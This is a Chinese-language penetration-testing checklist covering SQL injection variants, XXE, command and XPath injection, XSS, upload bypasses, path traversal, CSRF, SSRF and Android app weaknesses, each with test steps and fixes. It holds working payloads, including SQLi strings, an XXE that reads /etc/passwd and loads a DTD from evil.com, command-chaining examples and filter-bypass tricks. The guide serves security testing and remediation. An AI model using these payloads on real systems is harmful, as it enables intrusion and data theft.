堆叠查询是指可以多条查询语句的方式，多语句之间用；隔开

比如：id=1';select if(substr(database(),1,1)='a',sleep(3),1)--+

二次注入

对传入的username参数使用addslashes转义，只是对SQL查询语句转义，并不会对数据有影响，原始数据存入数据库。第二次取出来的时候并没有进行处理导致二次注入。

比如注册界面，admin账号已存在，我们注册一个admin’#账号。在修改密码处有如下执行如下SQL语句：

update user set pass=’$new_pass’ where user=’$user’ and pass=’$old_pass’;

修改当前admin’#账号密码时，执行代码如下：

update user set pass=’123’ where user=’admin’#’ and pass=’$old_pass’;

即可将admin密码修改为123

宽字节注入

数据库的编码是GBK时，可以进行宽字节注入，反斜杠的编码是%5c，%df%5c是繁体字‘连’。这样单引号会逃逸。

最终查询语句：

Id=-1%df' union select 1,(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1),3%23

其中必须使用联合查询的方式，单引号被转义。

其外：

Id=-1%ef%bf%bd' union select 1,(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1),3%23

cookie注入

在cookie中id=1控制参数，id未过滤直接拼接到数据库中查询。

查询结果显示在页面直接用union注入

base64注入

参数id=1对1服务器进行1进行base64解码之后再拼接到SQL语句中查询，

对sql注入语句进行base64加密之后再加到url连接里面。

比如：1 union (select table_name from information_schema.tables where table_schema='test' limit 0,1),2,3

对此语句base64加密。

XFF注入

请求头里面X-Forwarded-For字段存储IP地址，

该字段可以进行sql注入。

Order by注入

1、数字型？Sort=1+desc和?sort=1+asc的结果不一致

2、right(version(),1)和left(version(),1)的结果不一致，说明数字没有起作用，可以考虑报错和延时注入。

3、？sort=rand(true)和?sort=rand(false)的结果不一样；true的位置可以用报错注入或者延时注入

？sort=1'+rand(updatexml(1,concat(0x7e,(select+database()),0x7e),1))--+

利用and，？Sort=1+and+（SQL语句）

5、导入导出文件into+outfil

？sort=1'into+outfile+"c:\\wamp\\www\\sql1\\test.txt"--+

procedure analyse参数后注入

该参数可以执行报错注入，procedure和order之间有limit，玩玩limit之后的参数可以使用procedure进行注入。

使用注释符/**/、双写、十六进制编码等方法尝试绕过应用系统对特殊字符的检查过滤。

修复方案：

SQL注入的主要原因是程序没有严格过滤用户输入的数据，导致非法数据侵入系统，所以建议进行： 1) 对用户输入的特殊字符进行严格过滤，如’、”、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union。 2) 使用参数化查询（PreparedStatement），避免将未经过滤的输入直接拼接到SQL查询语句中。 3) Web应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分（如不能执行drop等），并设置Web应用中用于连接数据库的用户不允许操作其他数据库。 4) 设置Web应用中用于连接数据库的用户对Web目录不允许有写权限。 5) 使用Web应用防火墙。以下给出sql注入防范编码供开发者参考：方法一：参数化查询，利用PreparedStatement对象的set方法给参数赋值。参数化查询强制要求给每个参数定义类型，这种方式使得数据库能够区分出哪些属于代码段哪些属于数据段。 String custname = request.getParameter("customerName"); String query = "SELECT account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( ); 方法二：输入合法性验证。检查输入字符串中是否包含敏感的SQL字符，是否包含SQL关键字、是否是典型的SQL注入语句。检查到非法字符之后，可以直接结束数据库查询并返回告警，也可以把非法字符替换为空或进行其他形式的修正。需要注意的是这种防御方式的可靠性建立在目前情况下攻击者无法构造绕过合法性验证的恶意SQL语句。通用的SQL语句合法性验证如下： public static boolean sql_inj(String str) { String inj_str = "'|and|exec|insert|select|delete|update| count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,"; String inj_stra[] = split(inj_str,"|"); for (int i=0 ; i < inj_stra.length ; i++ ) { if (str.indexOf(inj_stra)>=0) { return true; } } return false; } 方法三：使用OWASP提供的ESAPI，ESAPI (OWASP企业安全应用程序接口)是一个免费、开源的、网页应用程序安全控件库，它使程序员能够更容易写出更低风险的程序。ESAPI接口库被设计来使程序员能够更容易的在现有的程序中引入安全因素。ESAPI库也可以成为作为新程序开发的基础。ESAPI详细介绍请参考：http://www.owasp.org.cn/owasp-project/ESAPI/

xml注入

风险等级：高

漏洞描述：

可扩展标记语言 XML 提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据，如果在查询或者插入时，没有对用户的输入进行过滤或者转义，则可以修改XML数据格式，改变XML节点，造成xml注入。

测试步骤：

常见的xml注入payload：

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ELEMENT xxe SYSTEM "file:///etc/passwd" >]>

<foo>&xxe;</foo>。

尝试引用远程dtd头绕过敏感字符校验，如：

<?xml version="1.0"?><!DOCTYPE GVI [

<!ENTITY % start "<![CDATA[">

<!ENTITY % body SYSTEM "file:///tmp/test.txt" ><!ENTITY % end "]]>">

<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">

%dtd;

尝试使用报错方式进行注入：

将含有参数实体的数据传递到另一个文件实体中，以便在访问第二个文件时触发文件未找到的异常，并且将第一个文件的内容作为第二个文件的名字，这样的话，就成功触发了文件未找到异常，也完全返回了第一个文件的内容：

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [

<!ENTITY % one SYSTEM "http://evil.com/evil.dtd" >

%one; %two; %four;

evil.dtd：

<!ENTITY % three SYSTEM "file:///etc/passwd">

<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">

修复方案：

1. 严格检查用户输入的字符；

2. 检查使用的底层XML解析库，使用JAVA语言提供的禁用外部实体的方法：DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false)；

3. 操作XML时对格式字符进行转义处理，常见的格式字符如下表：

<； <

> >

& &

' ‘

" “

命令注入

风险等级：高

漏洞描述：

命令注入攻击，是指由于Web应用程序对用户提交的数据过滤不严格，导致黑客可以通过构造特殊命令字符串的方式，将数据提交至Web应用程序中，并利用该方式执行外部程序或系统命令实施攻击，非法获取数据或者网络资源等。

测试步骤：

管道符：在有命令的参数里，通过使用管道符增加命令：

; 执行完前面再执行后面：ping 127.0.0.1;dir

| 显示后面的执行结果：ping 127.0.0.1|dir

|| 前面错才能执行后面的：ping 2||dir

& 前面为假则直接执行后面的，前面可真可假：ping 127.0.0.1&dir

&& 前面为假直接出错，不执行后面的，前面只能为真：ping 127.0.0.1&&dir

``反引号

$()替换

修复方案：

防范命令注入攻击漏洞的存在可以通过以下几种方法： 1、尽量不去执行外部的应用程序或命令。 2、使用自定义函数或函数库实现外部应用程序或命令的功能。 3、在执行system、eval等命令执行功能的函数前，校验参数内容。 4、使用escapeshellarg函数处理相关参数。escapeshellarg函数会将任何引起参数或命令结束的字符进行转义，如单引号“’”会被转义为“\’”，双引号“””会被转义为“\””，分号“;”会被转义为“\;”，这样escapeshellarg会将参数内容限制在一对单引号或双引号里面，转义参数中所包含的单引号或双引号，使其无法对当前执行进行截断，实现防范命令注入攻击的目的。 5、使用safe_mode_exec_dir执行可执行的文件路径。将php.ini文件中的safe_mode设置为On，然后将允许执行的文件放入一个目录中，并使用safe_mode_exec_dir指定这个可执行的文件路径。在需要执行相应的外部程序时，程序必须在safe_mode_exec_dir指定的目录中才会允许执行，否则执行将失败

xpath注入

风险等级：高

漏洞描述：

XPath注入攻击是指利用XPath 解析器的松散输入和容错特性，能够在URL、表单或其它信息上附带恶意的XPath查询代码，以获得权限信息的访问权并更改这些信息。

测试步骤：

在url、表单等输入点中使用常见xpath playload检测，例如：//users/user[loginID/text()=’abc’ and password/text()=’test123’]

//users/user[LoginID/text()=''or 1=1 and password/text()=''or 1=1]

修复方案：

XPath 攻击防御可参考如下：

1. 数据提交到服务器上端，在服务端正式处理这批数据之前，对提交数据的合法性进行验证。

2. 检查提交的数据是否包含特殊字符，对特殊字符进行编码转换或替换、删除敏感字符或字符串。

3. 对于系统出现的错误信息，以IE错误编码信息替换，屏蔽系统本身的出错信息。

4. 参数化XPath查询，将需要构建的XPath查询表达式，以变量的形式表示，变量不是可以执行的脚本。如下代码可以通过创建保存查询的外部文件使查询参数化：declare variable $loginID as xs：string external； declare variable $password as xs：string external； //users/user[@loginID=$loginID and @password= $password]。

5. 通过MD5、SSL等加密算法，对于数据敏感信息和在数据传输过程中加密，即使某些非法用户通过非法手法获取数据包，看到的也是加密后的信息

链接注入

风险等级：高

漏洞描述：

改站点内容的行为，其方式为将外部站点的URL嵌入其中，或将有易受攻击的站点中的脚本的URL嵌入其中。将URL嵌入易受攻击的站点中，攻击者便能够以它为平台来启动对其他站点的攻击，以及攻击这个易受攻击的站点本身。

测试步骤：

尝试对可能回显在前端等处的输入点、链接点使用",<>等构造链接进行注入：比如 HTTP://www.xx.com/greet.asp?name=<IMG SRC="http://www.ANY-SITE.com/ANY-SCRIPT.asp">
尝试在聊天窗口、图片引用中插入链接进行注入

修复方案：

建议过滤出所有以下字符：| (竖线符号) & (& 符号) ; (分号) $ (美元符号) % (百分比符号) @ (at 符号) ' (单引号) " (引号) \' (反斜杠转义单引号) \\" (反斜杠转义引号) <> (尖括号) () (括号) + (加号) CR (回车符，ASCII 0x0d) LF (换行，ASCII 0x0a) , (逗号) \ (反斜杠)

存储型XSS

风险等级：高

漏洞描述：

跨站脚本攻击,它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的，而存储型跨站脚本攻击涉及的功能点多为：用户输入的文本信息保存到数据库中，并能够在页面展示的功能点，例如用户留言、发送站内消息、个人信息修改等功能点。

测试步骤：

页面中可添加、修改的参数：

常规payload：

<body οnpageshοw=alert(1)>等

可参考https://github.com/s0md3v/AwesomeXSS#awesome-payloads

参数包含在标签中时，可以通过标签内闭合的方式

比如正常标签<img src="url"> ，填入url时，将正常url改为x" οnerrοr=alert(1) ccc=" ，标签变为<img src="x" οnerrοr=alert(1) ccc="">

一些简单的关键词过滤，可以通过关键词大小写、编码、使用不常用关键词等方式绕过
利用反引号、数组、外部链接等方式绕过关键符号过滤：

修复方案：

对于XSS跨站漏洞，可以采用以下修复方式：

1、总体修复方式：验证所有输入数据，有效检测攻击；对所有输出数据进行适当的编码，以防止任何已成功注入的脚本在浏览器端运行。具体如下：

1) 输入验证：某个数据被接受为可被显示或存储之前，使用标准输入验证机制，验证所有输入数据的长度、类型、语法以及业务规则。

2) 输出编码：数据输出前，确保用户提交的数据已被正确进行entity编码，建议对所有字符进行编码而不仅局限于某个子集。

3) 明确指定输出的编码方式：不要允许攻击者为你的用户选择编码方式(如ISO 8859-1或 UTF 8)。

4) 注意黑名单验证方式的局限性：仅仅查找或替换一些字符(如"<" ">"或类似"script"的关键字)，很容易被XSS变种攻击绕过验证机制。

5) 警惕规范化错误：验证输入之前，必须进行解码及规范化以符合应用程序当前的内部表示方法。请确定应用程序对同一输入不做两次解码。对客户端提交的数据进行过滤，一般建议过滤掉双引号（”）、尖括号（<、>）等特殊字符，或者对客户端提交的数据中包含的特殊字符进行实体转换，比如将双引号（”）转换成其实体形式"。

反射型XSS

风险等级：中

漏洞描述：

跨站脚本攻击,它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的，而反射型跨站脚本攻击涉及的功能点多为：URL参数需要在页面显示的功能点都可能存在反射型跨站脚本攻击，例如站内搜索、查询功能点。

测试步骤：

页面中可添加、修改的参数：

常规payload：

<body οnpageshοw=alert(1)>等

可参考https://github.com/s0md3v/AwesomeXSS#awesome-payloads

参数包含在标签中时，可以通过标签内闭合的方式

比如正常标签<img src="url"> ，填入url时，将正常url改为x" οnerrοr=alert(1) ccc=" ，标签变为<img src="x" οnerrοr=alert(1) ccc="">

一些简单的关键词过滤，可以通过关键词大小写、编码、使用不常用关键词等方式绕过

利用反引号、数组、外部链接等方式绕过关键符号过滤：

修复方案：

对于XSS跨站漏洞，可以采用以下修复方式：

1、总体修复方式：验证所有输入数据，有效检测攻击；对所有输出数据进行适当的编码，以防止任何已成功注入的脚本在浏览器端运行。具体如下：

1) 输入验证：某个数据被接受为可被显示或存储之前，使用标准输入验证机制，验证所有输入数据的长度、类型、语法以及业务规则。

2) 输出编码：数据输出前，确保用户提交的数据已被正确进行entity编码，建议对所有字符进行编码而不仅局限于某个子集。

3) 明确指定输出的编码方式：不要允许攻击者为你的用户选择编码方式(如ISO 8859-1或 UTF 8)。

4) 注意黑名单验证方式的局限性：仅仅查找或替换一些字符(如"<" ">"或类似"script"的关键字)，很容易被XSS变种攻击绕过验证机制。

5) 警惕规范化错误：验证输入之前，必须进行解码及规范化以符合应用程序当前的内部表示方法。请确定应用程序对同一输入不做两次解码。对客户端提交的数据进行过滤，一般建议过滤掉双引号（”）、尖括号（<、>）等特殊字符，或者对客户端提交的数据中包含的特殊字符进行实体转换，比如将双引号（”）转换成其实体形式"，<对应的实体形式是<

DOM型XSS

风险等级：中

漏洞描述：

DOM型XSS中，其外部输入是JS中存在获取外部输入内容的可利用的代码如URL栏内容的location.href，然后该外部输入内容在未经过有效过滤的情况下就传入危险的输出函数直接输出到页面中或传入eval等危险执行函数就会在页面上直接解析恶意JS代码，导致DOM型XSS的存在。

测试步骤：

外部输入Sources和危险敏感操作Sinks（包括执行/输出页面）是导致DOM型XSS发生的根本原因，对于DOM型XSS漏洞挖掘来说，可以简单归纳为在客户端加载的JS代码中，存在Sources+Sinks的情况即有可能存在DOM型XSS；
Sources：

document.URL

document.URLUnencoded

document.location

document.referrer

window.location

location

location.href

location.search

location.hash

location.pathname

Sinks：

直接执行脚本类

eval(…)

window.execScript(…)

window.setInterval(…)

window.setTimeout(…)

写HTML页面类

document.write(…)

document.writeln(…)

element.innerHTML(…)

直接修改DOM类

document.forms[0].action=…

document.attachEvent(…)

document.create…(…)

document.execCommand(…)

document.body. …

window.attachEvent(…)

替换文档URL类

document.location=…

document.location.hostname=…

document.location.replace(…)

document.location.assign(…)

document.URL=…

window.navigate(…)

打开/修改窗口类

document.open(…)

window.open(…)

window.location.href=…

修复方案：

对于XSS跨站漏洞，可以采用以下修复方式：

1、总体修复方式：验证所有输入数据，有效检测攻击；对所有输出数据进行适当的编码，以防止任何已成功注入的脚本在浏览器端运行。具体如下：

1) 输入验证：某个数据被接受为可被显示或存储之前，使用标准输入验证机制，验证所有输入数据的长度、类型、语法以及业务规则。

2) 输出编码：数据输出前，确保用户提交的数据已被正确进行entity编码，建议对所有字符进行编码而不仅局限于某个子集。

3) 明确指定输出的编码方式：不要允许攻击者为你的用户选择编码方式(如ISO 8859-1或 UTF 8)。

4) 注意黑名单验证方式的局限性：仅仅查找或替换一些字符(如"<" ">"或类似"script"的关键字)，很容易被XSS变种攻击绕过验证机制。

任意文件上传

风险等级：高

漏洞描述：

恶意文件传递给解释器去执行，之后就可以在服务器上执行恶意代码，进行数据库执行、服务器文件管理，服务器命令执行等恶意操作。根据网站使用及可解析的程序脚本不同，可以上传的恶意脚本可以是PHP、ASP、JSP、ASPX文件。

测试步骤：

找到网站上传文件的功能；
尝试上传服务器可以解析的语言脚本、或者不在白名单中的文件名称进行测试，如果上传成功，并且服务器可以解析该脚本，说明存在任意文件上传问题；
如果应用系统采用了黑名单的方式，则尝试修改文件后缀名绕过：

PHP:php2、php3、php5、phtml、pht(是否解析需要根据配置文件中设置类型来决定)

ASP：asa、cer、cdx

ASPX：ascx、ashx、asac

JSP：jsp、jspx、jspf

Content-Type绕过：系统还对文件类型做检测，则可以使用burpsuite修改Content-Type来绕过上传限制，如：text/html 表示HTML格式、text/plain表示纯文本格式、text/xml表示XML格式、image/gif表示gif图片格式、image/jpeg表示jpg图片格式、image/png表示png图片格式
前端js绕过：这种情况是系统针对客户端js校验文件后缀的情况，在上传前将测试文件修改为默认可上传的后缀，上传时抓包修改文件后缀，即可绕过前端js限制；
文件解析规则绕过（.htaccess规则文件绕过）：.htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过上传.htaccess文件绕过限制较全面的黑名单过滤，如先上传一个.htaccess文件，内容为：AddType application/x-httpd-php .aaa，就可以将.aaa后缀的文件当作php来执行；
Windows环境特性绕过：服务器是windows环境，可以上传一个文件为xxx.php::$DATA类型的文件，访问的时候就可以直接访问xxx.php文件；
文件名大小写绕过：将文件名后缀使用大小写方式绕过类型限制；
文件头绕过
双写绕过：文件名后缀双写，如.jsjspp
%00截断绕过：如果代码采用的白名单校验，只允许上传图片格式，理论上这个上传是不好绕过的。但是后面采用保存文件的时候，是路径拼接的形式，而路径又是从前端获取，我们可以采用在路径上截断，如下图：

文件头绕过：如果应用系统对代码内容进行检测，可以使用文件头绕过的方式，通常在上传文件内容头部加入GIF89a这个字符串，该字符串表示文件是gif格式的图片；

条件竞争绕过：应用系统对文件后缀、文件内容、文件类型都做了限制，我们上传不符合规定的文件会被删除，可以使用条件竞争，多线程、不间断上传一个写文件的脚本，然后不断去访问该写文件脚本，如果访问成功，则会写一个文件到服务器端，达到文件上传的目的；

修复方案：

1、最有效的，将文件上传目录直接设置为不可执行，对于Linux而言，撤销其目录的'x'权限；实际中很多大型网站的上传应用都会放置在独立的存储上作为静态文件处理，一是方便使用缓存加速降低能耗，二是杜绝了脚本执行的可能性； 2、文件类型检查：建议使用白名单方式，结合MIME Type、后缀检查等方式（即只允许允许的文件类型进行上传）；此外对于图片的处理可以使用压缩函数或resize函数，处理图片的同时破坏其包含的HTML代码； 3、使用随机数改写文件名和文件路径，使得用户不能轻易访问自己上传的文件； 4、单独设置文件服务器的域名

任意文件下载/读取

风险等级：高

漏洞描述：

任意文件下载/读取漏洞不同于网站目录浏览，此漏洞不仅仅可遍历系统下web中的文件，而且可以浏览或者下载到系统中的文件，攻击人员通过目录遍历攻击可以获取系统文件及服务器的配置文件等等。一般来说，他们利用服务器API、文件标准权限进行攻击。

测试步骤：

用Google hacking搜索关键字或目录扫描器扫描问题链接，Google语法如下：

inurl:"readfile.php?file="

inurl:"download.php?file="

inurl:"read.php?filename="

inurl:"down.php?file="

从链接上看，形如：readfile.php?file=***.txt、download.php?file=***.rar
从参数名看，形如：&RealPath=、&FilePath=、&ﬁlepath=、&Path=、&path=、&inputFile=、&url=、&urls=、&Lang=、&dis=、&data=、&readﬁle= 、&ﬁlep= 、&src= 、&menu= 、META-INF、WEB-INF
找到问题参数后尝试使用../../../../../../etc/passwd读取文件/etc/passwd内容；尝试寻找应用系统源代码文件进行读取
Linux默认文件位置为：/etc/passwd、/etc/shadow、/etc/hosts，windows系统默认文件位置：C:\boot.ini 、C:\Windows\System32\inetsrv\MetaBase.xml

修复方案：

1、净化数据：对用户传过来的文件名参数进行硬编码或统一编码，对文件类型进行白名单控制，对包含恶意字符或者空字符的参数进行拒绝。

3、任意文件下载漏洞也有可能是web所采用的中间件的版本低而导致问题的产生，例如ibm的websphere的任意文件下载漏洞，需更新其中间件的版本可修复。

4、要下载的文件地址保存至数据库中。

5、文件路径保存至数据库，让用户提交文件对应ID下载文件。

6、用户下载文件之前需要进行权限判断。

7、文件放在web无法直接访问的目录下。

8、不允许提供目录遍历服务。

9、公开文件可放置在web应用程序下载目录中通过链接进行下载

任意文件删除

风险等级：高

漏洞描述：

网站中，涉及文件删除操作的函数，如果文件名可控，将可能存在任意文件删除漏洞，该漏洞可让攻击者随意删除服务器上的任意文件。

测试步骤：

测试web应用中可以删除文件的功能；
使用../../../a.jsp跳转到其他文件地址尝试删除文件。

修复方案：

文件删除应该验证文件的类型、权限。

CSRF跨站

风险等级：中

漏洞描述：

攻击者在用户浏览网页时，利用页面元素（例如img的src），强迫受害者的浏览器向Web应用服务器发送一个改变用户信息的HTTP请求从而达到篡改用户信息的目的。

测试步骤：

登陆测试功能点，burpsuite工具抓取对测试功能点进行增删改请求的请求包；
右键请求包界面，选择Engagement tools->Generate CSRF PoC,此时会形成攻击的请求包；
点击Test in browser，将剪切板内的内容粘贴到浏览器的地址栏内并访问。会出现带有按钮的页面，点击该按钮会执行之前抓取请求包的那一步操作；
点击按钮，若页面返回执行成功且测试功能点确实执行了该操作，则说明该功能点存在CSRF跨站的问题；
常出现CSRF的功能点一般为添加或管理用户、创建或支付订单、重置用户密码、转账执行高危操作的功能点，类似这种功能点的地方要着重测试CSRF跨站的问题；
测试样例：

设置页面test.htm中，页面中有一个表单，和一段脚本，脚本的作用是，当页面加载时，浏览器会自动提交请求。页面代码如下：

</form>

document.getElementById("modify").submit();

</script>

诱使用户在登录目标系统后访问URL链接http://xx.x.xx.xxx /test.htm

用户打开test.htm后，会自动提交表单，发送给www.test.com下的那个存在CSRF漏洞的web应用，用户信息被篡改。在整个攻击过程中，受害者用户仅看到了一个空白页面（可以伪造成其他无关页面），并且不知道自己的信息已经被修改。

修复方案：

1、通过referer判断页面来源进行CSRF防护，该方式无法防止站内CSRF攻击及referer字段伪造。

2、重要功能点使用动态验证码进行CSRF防护。

3、通过token方式进行CSRF防护：

1) 在Session中绑定token。如果不能保存到服务器端Session中，则可以替代为保存到Cookie里。

2)在form表单中自动填入token字段，比如 <input type=hidden name="anti_csrf_token" value="$token" />。

3) 在HTTP请求中自动添加token。

在服务器端对比POST提交参数的token与Session中绑定的token是否一致，以验证CSRF攻击

4、为每个session创建唯一的随机字符串，并在受理请求时验证：

......

</form>

//判断客户端提交的随机字符串是否正确

String randomStr = (String)request.getParameter("randomStr");

if(randomStr == null) randomStr="";

if(randomStr.equals(request.getSession().getAttribute("randomStr")))

{//处理请求}

else{

//跨站请求攻击，注销会话

}

SSRF服务器端请求伪造

风险等级：中

漏洞描述：

SSRF漏洞是指是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制，比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等从而被攻击者利用以达到如下几种攻击目的：

1、对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息；

2、攻击运行在内网或本地的应用程序（比如溢出）；

3、对内网Web应用进行指纹识别，通过访问默认文件实现；

4、攻击内外网的Web应用，主要是使用get参数就可以实现的攻击（比如struts2，sqli等）；

5、利用file协议读取本地文件等

测试步骤：

SSRF服务端请求伪造常出现在有跳转过程或者是向其他服务端请求数据的功能中、例如查询、支付请求中；
当请求包中出现url、ip等参数名，且其中的参数值并不是该服务端的ip或者域名，则我们利用burpsuite工具抓取该请求包

修改请求包中的参数值为其他可访问到的ip或者域名。若服务端跳转到我们修改后的地址，则说明服务端对跳转地址未进行校验，存在SSRF服务器请求伪造的问题。
举个例子：

Weblogic某版本存在SSRF漏洞，

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp，提交参数值为url:port，根据返回错误不同，可对内网状态进行探测如端口开放状态等。

1、访问一个可以访问的ip:port，一般返回一个状态码，The server at http://192.168.60.168:7001/ returned a 404 error code (Not Found)如图

2、访问一个不存在的端口，将返回but could not connect over HTTP to server

3、访问一个非http协议，则返回did not have a valid SOAP content-type

此处就是对url:port参数未进行校验，导致我们可以修改参数，伪造成服务端A的请求对其余服务器进行信息探测，根据其返回值的不同，判断ip是否存在以及端口是否开启。而被探测的一方会将我们的探测请求视为服务端A的请求而正常响应。

修复方案：

1、过滤内网服务器对公网服务器请求的响应。如果Web应用是获取某一类型的文件，在把返回结果展示给用户之前应先验证返回的信息是否符合文件类型标准，比如返回信息应为图片，如果返回信息是HTML，则停止将返回信息返回客户端。

2 、统一错误提示信息，避免用户可以根据错误信息来判断远端服务器的端口状态。

3 、在内网服务器的防火墙上限制公网服务器的请求端口为HTTP等协议常用端口，如：80、443、8080、8090。

4 、若公网服务器的内网IP与内网无业务通信，建议将公网服务器对应的内网IP列入黑名单，避免应用被用来获取内网数据。

5 、内网服务器禁用不必要的协议，仅允许HTTP和HTTPS请求，防止类似于file:///、gopher://、ftp:// 等协议引起的安全问题

jQuery 版本漏洞

风险等级：中

漏洞描述：

使用低版本的jQuery组件，未及时升级到最高的版本

测试步骤：

查找页面源码中调用的jQuery地址，检查jQuery版本是否在1.12以下，若大于1.12则不存在问题；
将地址填入检测检测页面中jQuery的对应地址，检测相关版本问题；
检测页面下载地址：

https://github.com/mahp/jQuery-with-XSS/blob/master/test.html

修复方案：

隐藏版本且升级jQuery至最新版本（3.0以上）。

移动APP专有安卓客户端

本地数据文件存储安全

风险等级：高

漏洞描述：

在APP客户端本地文件中保存了用户敏感数据（如密码、卡号、证件号等）。

测试步骤：

首先对apk进行反编译逆向操作如下：

反编译为 java 代码：

1．使用 dex2jar 工具，以 classes.dex 为参数运行 dex2jar.bat。成功运行后，在当前文件夹会生成 classes_dex2jar.jar 文件。

2．使用 jd-gui 工具查看、搜索并保存 jar 中的 java 代码。

反编译为 smali 代码

使用 apktool 工具可以对 apk 进行解包。具体的解包命令格式为：

apktool d[ecode] [OPTS] <file.apk> [<dir>]。

例如，对 CQRCBank_2.1.1.1121.apk 进行解包的命令如下：

1．如果只需要修改 smali 代码，不涉及资源文件的修改，可以在解包时加入 -r 选项，不解码 apk 中的资源。在打包时可以避免资源方面的问题（如 aapt报的各种错误）。

2．如果只需要反编译资源文件，可以在解包时加入-s 选项，不对 classes.dex 进行反编译。解包完成后，会将结果生成在指定的输出路径中，其中，smali 文件夹下就是最终生成的 Dalvik VM 汇编代码AndroidManifest.xml 文件以及 res 目录下的资源文件也已被解码。如图：

然后开始进行客户端安全检测：

1．正常的文件权限最后三位应为空（类似“rw-rw----”），即除应用自己以外任何人无法读写；目录则允许多一个执行位（类似“rwxrwx—x”）。如下图所示，script 文件的权限设置不安全，script 可以被任意应用读取。

2．对本目录下的文件内容（通常是 xml）进行检查，看是否包含敏感信息。

3．在私有目录及其子目录下查找以.db 结尾的数据库文件。对于使用了 webView 缓存的应用，会在 databases 子目录中保存 webview.db 和 webviewCache.db，如图所示。其中有可能会记录 cookies 和提交表单等信息。参考 4.1.8 数据库文件查看 sqlite3，或是使用 SQLite Studio，查看、修改数据库文件。

4. 通过对apk 解包，反编译 so 库和逆向 classes.dex，检查 apk 包中各类文件是否包含硬编码的的敏感信息。对可执行文件可通过逆向方法寻找，也可以直接使用 16 进制编辑器查找。

5.在应用的私有目录以及 S D 卡中包含应用名称的子目录中进行遍历，检查是否有包含敏感信息的文件。参考 4.1.9 系统调用记录 Strace，查找应用和文件 IO 相关的系统调用（如 open，read，write 等），对客户端读写的文件内容进行检查。

6. 查找保存在应用私有目录下的文件。检查文件中的数据是否包含敏感信息。如果包含非明文信息，在 Java 代码中查找相应的加密算法，检查加密算法是否安全。（例如，采用 base64 的编码方法是不安全的，使用硬编码密钥的加密也是不安全的。）

修复方案：

对于用户敏感数据（如密码、卡号、证件号等）等数据在本地存储时进行加密。

应用完整性校验

风险等级：中

漏洞描述：

未对APP添加自身完整性检测功能，当安装包内的内容被篡改后仍然可以正常安装使用。

测试步骤：

修改 apk 中 assets 目录下或 res/raw 目录下的文件。将修改后重新打包的 apk 文件导入到/data/app 目录下，覆盖原文件，然后重启客户端，观察客户端是否会提示被篡改。或在 Java 代码中查找是否包含校验功能。

修复方案：

建议应用程序在启动时进行自身完整性校验或采用第三方厂商的加固保护产品进行加固保护。

Activity劫持

风险等级：高

漏洞描述：

攻击者可以在本地监听用户的状态，当用户登陆或者输入交易密码时，弹出伪造的界面，从而窃取用户输入的口令信息。

测试步骤：

1.安装 android 击键记录测试工具。然后在“语言和键盘设置”中选择“Sample Soft Keyboard”。然后启动客户端，在输入框长按，弹出提示框后选择“input method”（输入法），选择我们安装的软键盘。

2.下图是书写短信息时，使用软键盘输入，在 logcat 日志中可以看到所有的击键。

修复方案：

建议在APP退出后台时给用户风险提示，以防用户敏感信息被盗

逆向分析

风险等级：中

漏洞描述：

在将源代码编译成apk时，应对其进行代码混淆操作,如采用Android sdk自带的proguard或商业混淆软件，以防止apk被反编译成易懂的源码。或采用第三方厂商的加固保护产品进行加固保护。

测试步骤：

1.通过对apk解包逆向，将客户端 apk 文件中的程序代码导出为 Java 代码或 smali 代码；或使用APKAnalyser，直接打开 apk 文件。如下图所示，经过混淆保护的代码，其最明显的特征是大部分类和变量名都被替换为简单的 abcd 字母。

2.客户端程序可以把关键代码以 JNI 方式放在 so 库里。so 库中是经过编译的 arm 汇编代码，可以对其进行加壳保护，以防止逆向分析。打开 apk 文件。如果客户端程序使用了JNI 技术，在“lib\armeabi\”文件夹下会有相应的 so 库文件，如图所示：

然后在代码中查找是否加载了 so 库。例如 Java 代码：

Static{

system.loadLibrary("jni_pin");

system.load("./libjni_pin2.so") }

将加载 libjni_pin2.so，so 的导出函数则通过 native 关键字声明，如图所示：

修复方案：

Activity组件本地拒绝服务

风险等级：中

漏洞描述：

当攻击者本地精心构造一个Intent时则有可能会触发导出组件的异常，造成本地拒绝服务攻击，影响程序的正常使用。

测试步骤：

反编译之后，若代码中没对Intent.getxxxExtra()获取的数据时没有进行异常捕获，接收到异常数据时，可能会引起拒绝服务。调用app的Activity、Broadcast Receiver、Content Provider和Service组件看是否会导致app异常关闭造成拒绝服务。

修复方案：

将没有必要设置成导出的Activity组件设置为不可导出，即在AndroidManifest.xml文件中将相应的Activity配置项中增加exported=false属性。对需要设置成导出的Activity组件，对传入的Intent的参数做严格的检查和过滤。

Activity组件绕过

风险等级：中

漏洞描述：

在没有用户授权允许的情况下，直接操作不被允许的组件、进而发生风险;例如,直接重置手势密码，对用户的财产安全造成损失。

测试步骤：

方法一：

使用工具drozer检测是否存在暴露activity，检测是否存在导出的组件：

run app.activity.info –a (packagename)

使用命令查看是否可以启动应用绕过登录使用内部项目或导致应用崩溃：

run app.activity.start --component (packagename)(package activity)

方法二：

使用反编译工具，直接查看AndroidMainfast.xml文件，检测是否存在导出的组件；

第一种：无intent-filter标签:

在被测应用的AndroidManifest.xml文件中，检测activity，若无android:exported属性，

</activity>

检测通过；若android:exported=true且无android:permission属性，

</activity>

